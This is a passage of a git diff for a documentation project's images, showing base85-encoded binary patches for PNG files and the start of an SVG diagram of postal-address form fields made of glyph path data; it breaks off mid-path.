zu>TgMFP?4STlEbL5Cs%&sX(UudaxZEyrEFs+@au&qGM|Mx~fV7+_)^Z7I2?yjBRC}
zT`bdkGQ(xQ>?Lks-ykJ<J~aZ%p!m{cUbY@dens7Kv@tdy4G0bn284G837{-j1O%eM
z2#OX+-H<;Siz_Ouhl?#<GmC^ml`L=9<=Pd?J6kH3{F-}y1&FEG=TIFzxr&Jq@D(-2
z0QAODA{|ryTR1hOUIJL;DufALHNfalw~0<lVuE(ch!H1*eSXa@lX#v}RrFwCtEEqs
z`Z%^TI>%(FFEpe&d->#qj(%csIQLi`E};m}k6)mmlPu}>7ZhTUb3d-&<|YJ0kw|iK
zG9($HG#uR!br;8~iZZGrm%F)^!jn&$M|o2+g$knNI<vfwiwDG4Z?hl+)Vy%v0^(s5
zmz@03^8!kleH+^T-0<JdU%C{TY1wDwS${m%2@VO<Lshdygz=3>(l0J~wDc8iR24`6
z1y*yxb|IAkanEWo^z42W<BE=xp_&KO?jPbBgwGbH-Q)xR*K);X9v{~eA30m<*{kd=
zS05Lu=ky%=woqJ)jsXuB+KhW+Wg9H2mQr7u$N1P={-S(hb5eWs7pM7VV_8{g?YKq^
zVuxMse%oz7Z5Y#|L|>N>>2AoM&2)P_Fa(YnwBzl!OG8)%&uoRcv-GJ9*&_bo0$TiC
zYvglrhh^<uqCyVteIsub;oiW9h#vA6Jp92EH0@DDf3hplUAW-QcWO+|`;y@5ZXn{S
zjAwhJZwO0+3@x0*q)f72ASzJl#{$c+>Y}8WFms1wC4prmxrLHtRuw{aHs?J~2-ILV
z{0ZtDWiA>Fj9SbKGUe>-$LaBrf84CDer{P?`q{PgX>pA67Nwhkv|a(!tl;y?1r((k
zBfFLiBX2aweTvyv)8qaAUQ>1w=h>YXbPZ-De(~T!r|$oTG96j?fziX&Pu#FCd}H}j
zb6zbydww0drd>z%fSF{mJtRJ*V{y1I<{!0`R%4-mw}y6GC)$!*>|?Y?E0tAN%KEPl
z@ECQGvot!5D#<T9X-kAuxSK_2CZV_8Ty0)XT6(Ady`Iq&tDW-yrmxWP{bCk3v!wTU
z<9-~e|EgC;c^2C_9;zK_R<^B_(_<{lIV`D60oAuNA}S#^njzK~E~fB`o1WV0zE9TE
zm$IItIPzUuCwPCwW@39MryoF!K@7?nVqzScqHRA2_PiEqpj4`7hCfRMX84wF=f_Nh
zu7xx)$zP9LJqM>2oL<D0kv?E$9jzI|eJj{s!QEs1cc*cZSD)I5&w5M5PkKPv1G0T3
zzN^JI|J`D;y#Fmg6UDzv9bA0o-^Wn-|MwBT|M!vSr!<WB`-2|{@xBIAc%s`XTFQlr
H51;=R-kNNp

literal 0
HcmV?d00001

diff --git a/_images/docs-pull-request-change-base.png b/_images/docs-pull-request-change-base.png
deleted file mode 100644
index d824e8ef1bc507beaf51bf95fbee20093dc44dff..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 5849
zcmZ9QcQ{;I*TBc<Mhy{y=p|$%q7$OUL??O~y^j%MjNU@@7C{K3M(;JcAbN;C45CLD
zognf}?)$#?=6>gobIxA-tg_d0_IlR-MQEx+$VhIJ0000orKbwd003MR_FaSsh`kT`
zIhJ7`IBw4%a)9z-#!c)1&rViN767P<16^6*W5+C3PoJp)0Nz{xKwt;}aDf#CZU6x8
z4*-BIa{xdh1pv6^lHR2C2mqkfS5lDG@ig6q!rbN*Xl(+tugB$f0swW*G$CS0PipCX
z;zFZHI)+~Lyuf9x_i`=+Rj!}e<Jpq%Bq@4{OW{}HQtG@uO%)T4O5h?$F1?{(K?%!>
z-eZjgpD$V^kfXQ)jZEn-1-x(o6$?-ykcbk8O$P5>EC2zf{zHJBwU+>X5%L2vKK{2@
z(~dG6_;1k$E?yz*(ws^hA8YDwyFusvyKlHP>OXw=)%*Y51%AA^xY*k(55Ji92P^FM
z^z?lFYFe^R+;GyOfqeRp4IH)+Cp;DtRx?)1H%+w5)wEh5u_9O+T$@qqj}RQ?0Eai5
z>&c<U<DP}EZD7XF8^0IzpGdL}h|I$ho9Yir`iLq25eE`!qQ?mS4)*uN1rE*@#^2z{
zaL|8}^54m(WRd^b`YT%_6j;^MF5Va9|I6NAA5PTO{%M^u$X_PQtBIDq&F}J*jEikV
z70<jiEiG+xQMRkc+crpBx0JJQ2yr`BLM{*|Wa<G6QDS~@=%&$C!Y7oZ2NH=qO%0b3
zqzXLg47KR5*UPmSw3O&5Ql7Z6YU@o3VUoux5eWQO3A46l6N$m8+LX@7Zzuty?Wb)U
z#}{?-V8kz&FDGQwVsNapl6~U2jbq7g=fkRg#xg5eu>sW}fMlmZ;oJ4CS;Q{IV|93q
zo2Fd{40v=h_N2HkWr!sTP0_=d62fN5;Sb(j6<g=y2&}bbayi_!i%`LPm>J)-F?!}K
zEJke&pii&6v!9xr6-<uUy($XWvK}-*p`p;r@CYIy<{%-kaDaN!P?iGA(L`Mm*=sVY
zAR{VsK+#Qq<X1^N<q=s2C<y<u!i}$NYM?OyUruDAF$ekj_@qAJi$DDPqP2!X7K|u9
z`9&6(s?T?s^xZDTyV`<nL>n8ZH;JfZ2}RHi#7IPWlAmGUj7zXcp404n)5&O^80518
z_P>^Sm;6pTm!#K>E#7MjLqgb}A1)I^^dNA8NV<8C6Ue!dRa-vEP*(&uL>1XMyEL{6
z5~H>;ySuv@(mz(;n)z?u*)t3Hc@lNM?Yx7K`ReD{f_Uq(Ifr3uh3Xxtobl2Aq+*wb
zN6#GGybb2*3SezxU;5UHD+_Z_NQa`{Z|{>ORn-?sKnUQo2pPSIawrt)cQho5Mx!O^
zTPEf)81J)r4}HA^^68k3>><g+6LSaE(3F5zRUavsq@w$fbTU`wN8m|kzybWMGEtIL
zw)sNfIP%a}ugV393HG@oIwpT#mT=9z>}!#GdOlR#gMY3Uepy-;SB~GY&N0&e>C>l*
z_Um_MrN_GVh9i@$K4+`YG~rl|=IutUl$HI@!Q2`dj5|pg4lT=vsTM+B?Zw{^E7*0o
zHF*?-1@%o^J~7Z4Q+=1bCG6CEwnoeuqR!tDm~juKQw6sa7isDQGRf)umDsDGva+()
zpQp2)L-4Q_i2G=rXGO!j&fA>cn{|qi9@_UMjRK|fO4hIFL47h)Ne_pklJ2DPh4tiY
zO^Gq#J{6}Cgw-*~@b0y34>5&iL4VMBD|$%}YKuwkc65z<_}$*NO}&B8Y%M1v?kV#=
z+Fak?HsUdQ!0dm&*oCRNtg?o1gv?E6&LEcFM^b$YBiD70ztSU%W_Kl-cV?^;>B-CG
z1Om~Vy*AEKV1b2{?>;*wn%amqWe2kqymjFdWwa@5rfE%wb2j?j^?6K(t|MiE%bJ-q
zEV!33Sw)U+s7DO+j*vO>OSx|ui8`$Ep`AC4HoDV8n5cHp{?|X&e~oT-z5+cvzc|@W
z2o{o(LiIgD?o2ZWT(PE(lzP%eShBOTV}GKz^XU0zk18s*n5(O!FW)q@nZ$ohDs5SE
z=vSBuw+@=OT^*_j@|L(RQHo1FsA}O1i2bY-A^!6zMF8Fmb^d-|dRzV*et2CjL*#l0
znQ|0_o2zp`Z(gUs5ikvuZmeZ~zDpT9ZVC?m)K`$@y?;c}q07LA8%|yDDW_qVeBHG3
zX85(=(yLpCWWs7Hb#%y3VMQy$jAzp*6W>JPmMdUV;7YEc-vHpqH~#xV`>!eE=N)!2
zaqFK#uHqjG3v*u9<@fR{#`zq|SjwK{;jb=VvpGXTrFE|>KET2XzW2+d_b@Bq>PkdD
z8l;x*$>>(g(WDNcedBdp7;Bm=3Wxv9I)mXBSOH#}?<gmoKh1{cu7}_c7>wN`AeZvH
zIQCfZ<F+Pj60!-A&;nRxpio20+Va)Ja)=i&epXCNVwZQe>m4R~Vh15bD}hTyLm;aG
znNor?`-;Xx+qt}#U#(2d!42HPcH$19C(~t$&YP=e=k{-EQ=H9w_V-gYtk_s@K1o0k
zWM}#0?@@21eK1R_YLTtqz)(EC(rjxbOnwP?CArj92SW!E9hdZJS`S13`#*UZJ_=Ac
zIXG~=+gMx6k(v)-eB^n)&#F@~$2J4c5OW2}(YAye?9V=LUrGd$gqP$0%7!39K8$4F
z^|}SMr0rz&JiIhl6qtx;gp^!#6*eSF8)T(y#_HKm%XRp_qmg<jR7TF&$Gl$%0ec}z
zzp&QcA->tqZlg`0=J-bHA;K2yJMk!_GHvv31NpMzSwLT}Lv}GYf0)43u>DKg$RVJ@
zdM|Tp0au!XH?b`*O`UyVdU@GgC2GpP%TsO#GCw9ZZlV=bHr#PQY%Og=(r9*dwlh<6
zgL-vuf}XlsE;52xzuY7UJ=;|8Gs^B_;#3Ur$hzbu;mIrcE*Wa4HyNYkEJP>m1}Uoy
zp%WX-O~xZ#qlr7qD;G-?PtO@p;dl+=q2)A2KMdR`G_?a%flt3Y{)HFSQBQ4q@1Cs~
z!ox#fjOJ1Jm%<YatfJ%odq4{=BR77f_R4WM9;-y7FgqT-<gta6RT!j)W-?-F0Hx3=
zJ<p%j%4u$#ZOn97D$qbLczjpj7w0a?D1owNqg0Xjpwj%3Xb$*5xqHR%>JBqJnidr^
z%hnM(v8)U!kmc#CKKVK#dxQXAadXRt0>#oRUVUf%U2z2k1<wKNL3TN8(wP$OB<+O}
z3HxxZ)+|PvkDU7>49{DFRQf)3X04VPf7sbuP2+U&zar<AeyZd^O&(WL(RRUmTQ)y>
zb-6n#9KQkn<d%3>8`#_Zc+7dbN}9I0vAOunT=72K+4P2CbL5hWI3tmaadU?}SrW4e
zow250AHfj4Fi}yYTNQ7Beuh4IjFn;sS8O@Mqqr0Zv0Xvh2d*&7pUhLPMgZfKS2bgc
z);Kvw_-M7C$D6J&(N-RDzVP_6V9e|F%mC>Hg*8Vb^b~A*`0IV9Te=`0L_sI;S(&_x
zuTY5wy?F*j_4)mlo82<~%bUX~i==nke_cz`0G0`gRgPuSt9*8_h0m&E`sy3lkFdC>
zqQ%>DYwBAIqnmE5DJ2==Qzd(ZSRmfb*=&)sJ-(#}LPc`9OiGp;TcBsDI2_?y!UUAF
zV%ZRz=iU95B4Lq7x25rOg9P#b_0LCuj25o00#Vj*xqGWqVq(b$bsgSv?l|Ke%n7Hd
zYe1ii=q5|!DnvGL7H2M+{s`n6_3;}@Wmk46Rej4z(`~Y2{$M@CSLeIq82!~92Dr@W
za<+KxWG6d8kw$@6P(2|+GpQW)_^q!Y{KGKoDh_S2QVWG_WXD?NWzN0h)7`47s(|g|
z!@>K(&llr0n;OuGpRv`Ks(UdkKjp5&nSBazb7gfJpMI5&i|3J_<7)U(?&qtkM|T!h
zDSSTEaWz*Y#CEku_vq-{>>EhQow*Q}M{gD56g`<LKOcPYpt-z8TP>zDI?N}Xs^=gA
zvUC>|&+>S0Ikx{>Ih)f*?TMV!7uYQniprP)Gu?ANL*+SwK+|v}FgDKi<nBr?Y|W48
z28jaNwmSsz)X=~nuwBKyAt1KAOvF1&((gG5J*=^~X_qMtoeaJ=j})r3hi-8t<S{5v
z_a@}Q=w&(!P0avRG2_vl4q=@pHyqP5cU2P`y^gp(-%)1Ur4nJKeF0-kODreDGazv5
zrUS2v&P{b6)j(xH#_r682%84##HqS|pZ0q>{RZpy`}nHwXGGLzhPiC4Wba_Mpd~W8
z&04%t7<&$qXPN3pC$VEHd5vS-6CUNTHT12-$hw8iHD8dyQlM{}C_%x12Ae?MXMHoj
z6KpHgwXp9=b(Y_t)ZJDzQ-ObaNQsx>b#;C~NO5Pe7SN|EV#TpEHMOTsvKT?yLL=FH
z9#~@jur|W<vu+WaN0U8{en(Mb*Vh^S569WAvBS<zI~!r_UAgR@k+Jds$>NJhqDlPu
z#Ob{W<wLo|c6M&-d}jhEM8A5gNdl!C2CLXnVhHn07wu}ETJO=fq>j@Z1S%Zjn&i4G
zYt;9hw^S6k!!0JuZzHSEX7qL9A2l9(nlYG4+@$46*FXl%eUB;2__fh`W?Q~xo^Ue5
z<PhoW(sgQfG(%6F&WgVa>PSmr`SMD2%jkG|dKBUW;kIek^Wb5qe-oL{S+Hww{v<7{
zoKc==JSdVF$w5Woi{AmWTCt@mrjt>4QCMhd=qMUE-Qz&8WG!G)Cm(ZEgNle@*g?NE
z9p^|x7BV`=$Xn5yrIi+7UZ)i^Q#LzYes&EaYn_o066b^Lacs;mHPZ|3X;%d`={2Ri
zt3gfBhphGCkpogwBP;YDVd&lupg@vkpNB^^BPysoa$v!?{8ATg)tGME_?LEEOoqzo
z&N}Mm!4?93`FRC~59!Z&EK`wMm+TMSGV^7<tZRt0i<NW7mNJ}h9Ukah@%8bzMxR0u
z+AM&{5^c)1QpiIb#K)<2=>X+hXUs~od1_b!W|O6Q>C_VLI?zRxrwWbzmJREoRSa?H
zS)+WuitC`Zv!O$!)0Y(Hm9F@L@BXcgP_Cq$%p|w(Ms)=7`2ga9xa~tnfeeQB%?zg}
z<g@%>;u*x3%9Zhiq7pcWZ$S?{47@3;%^UBf@K#S8x*bhC91k4sIbu#9B&2k6bGu>Z
zO(~^wt1}E)N?B9_HaqZ%Jy01Df9P$9Pn<4Jg6eLYtzja0%`sLX5=;Pf{D~CzOy?tc
zi}Ok0B(mlGJiwBnU`d)gN~uu5N8YeW&yvbOx6N_$m?(`B)F@1@dKVg1k-{?zN>Tsb
z{RsgVVeJf-3lMPH&V~gOj4P~|+Q1(CP~|uZ*Qzgh;`J)?R5aCXvD*;C5=HB#m=-!w
zG9FoKB03I(!u<U@66(J}`fjvWZ+A(WHqoZ#{vh^0pRvpA-vlx~??&E@#aRMnBm`6M
zos&wDJPw;n{QTC`TZw!!+a@v0JV|vfSUF#bClqev>qF|Yg7<Y}qYyf8l5}{3YG0Nh
zu;S^8;Md9h-46>~`IR1&z97}rPnhdie#+^#7eYmp63y4_h=f&qNoI&eY4Rj=s>9TD
z9#J5Ayo50aVE4*Qc&s{MZ-&r&`oK@NT$hRTZ@|@$+qWHzcuUb_T}Y#qnDJ53r6=@K
zJ{O^IUwV8JyG7&Q2e*j(_96jz^}jHg;{qM@&vsH=uCIQ0eDxx<+uOa<Oe3{pkgeb}
zV#DKpfIZdrKlJxf&K>X5*>}e0yWTi~K(&e1(qCIMQHbTpT@VdkNZ^LgJx?jz+s6N~
zh9P6AcYRs2&q5`#V=ZtDOX1tDVT#&U5Q?&<4%t}Mvm=Vsf-;nf3YIw+2+d*6m+z%g
z|8l)cSx+_Fvmp`%KO>Ls?hWs0^p>7TUwdCpP&Vv(DUs{x?5T|3xHEcNd{NQ}x9B?O
zRp<x_o*_!lYIRJRSYpGzeQNoJ-@7U4aLVg^XXD3W-)hW^iRjw0BZ6yQL;?!P-#>cD
z329p)CX~--%oJVdO-yic*QU$J+#q+P(|@uvVAtH_rz?>ZyDHe!LwL0iJ>dArceSit
zm+|47lma!~i`tiBr3v==l{#-hNa^cZBXXE6TK8lHRlGG7PQELqjkHkou6&-Gj1w+6
zD>WkrI=(x?52mLsp8DOq8Am^In<Ai`F;K+G^zuo%OV!6aTIcYcR>PwQ&+e&!fb6m=
zTOb1LP4_{xqXYHE;p#A7{idAd@C{oPz=KygbcvB7df6<F4+0hVS8aa!zf#7dOsgan
z$TPe*WFivPZ?|EzGfLZ&gYCh7^1P)K&Yf9J?)MH#Xud^Pon4B@U`v$)gkC7UhQ8Ca
z!i~Ily=dxk%H@XdS1A5GWHS_;NrSF4nSAk)hu?b4QgJr!>`cw6axZSk@O`xU&*<q2
z9V|IeN7r+j3mWu6(91KuAKyn^a4K6x#d(Xb+(0E4j{S&s+^jvaAOyd6D5}m+ThNS<
z`G%!BacXA6S+r*5dE*1g6<+}_d*jaY-EH0!Wo65t`SnM1B-KoQof~$K_VO1iUyxZy
z<!>ViW=E>AM|fW7wme_AO(BeZu-Q}fPGK~-&YK&if-uTaUf<JIDL_%oI%b<16(e{j
zMfKR?ZxX&umM}B^X)t3MMl`WJSckx{Y94Hz5KwMm%!TVur#h{6sGx+FqGA~8>!Y1s
z^q`T<8W{$6({aVd&I!#YOE@%McaB8MaJ2O66(oBzBP*UosH^B~`ifvp{irOX9jn!G
zI2v*;{fl`F_2k`$m_^-3k2&NG>RSPVzJ1h^NEawX$T5j<@il#zv=H3YU%*i3)Ne>+
z*py?NMy#{(9mkd3mDF;rm*j=85<mu=GDw7~@O3hV(SfWR%U`xIx2GbYQ(*wyr+(8l
z>ltjCFMq?GgP)cyo}dbLb2i}66LUBmZu6w|bcW-0z2T6MnDo2J0#aG$@<EqX5g;i`
zZ5WPh79*38DtZ}|bZ%kXa`U+iZPNJ8V=SriG<$e&CfQQR$<Utrzj}L*pWpsSFAzw&
zm_zX`QDt1V3sH6vkv*x~@`LgF=ifj{0WcNCk~C!@<Wy=)D<)n2m$#fjm(PED6Jiq5
zKwnhe8vGZDBfSlrs0*%NPQU*L)VrX@(zt6A{o%+zXk2h8z<oEXOl)1{A4V8-tq|B$
z{}`QA!v_4D$bHOWm4Qmy^9}#_69qn|a`}tx80ANePK@1`<orkBFWyNG1!+aiH9dnS
zG;M<V52*hEdgk#|fuSa5W&sz+n}X+G)ZLY4Q7BZ?vC!qeZ3qE16Ud=y@r|ul+O^1B
zfwjemKRN3FYo*wU={+^@MJ?_LPtK{!CdSm!{`AQ|tHEJ&F`#Tfitsz+whx=atfKqf
zh~PRlT7UD*|1d~apyGr-V##7+q6@@~zcposd4@(d(3GnGX-V^Tkj!LLH*BvP@%9&C
Xmi&>mce6+#0DCDtQCBFJGk^Jin!3@6

diff --git a/_images/form/form-custom-type-postal-address-fragment-names.svg b/_images/form/form-custom-type-postal-address-fragment-names.svg
index 9b6092c9808..db9463b8327 100644
--- a/_images/form/form-custom-type-postal-address-fragment-names.svg
+++ b/_images/form/form-custom-type-postal-address-fragment-names.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 514"><defs><symbol overflow="visible" id="a"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="b"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="c"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="e"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="g"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="h"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="i"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="j"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="E"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="L"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 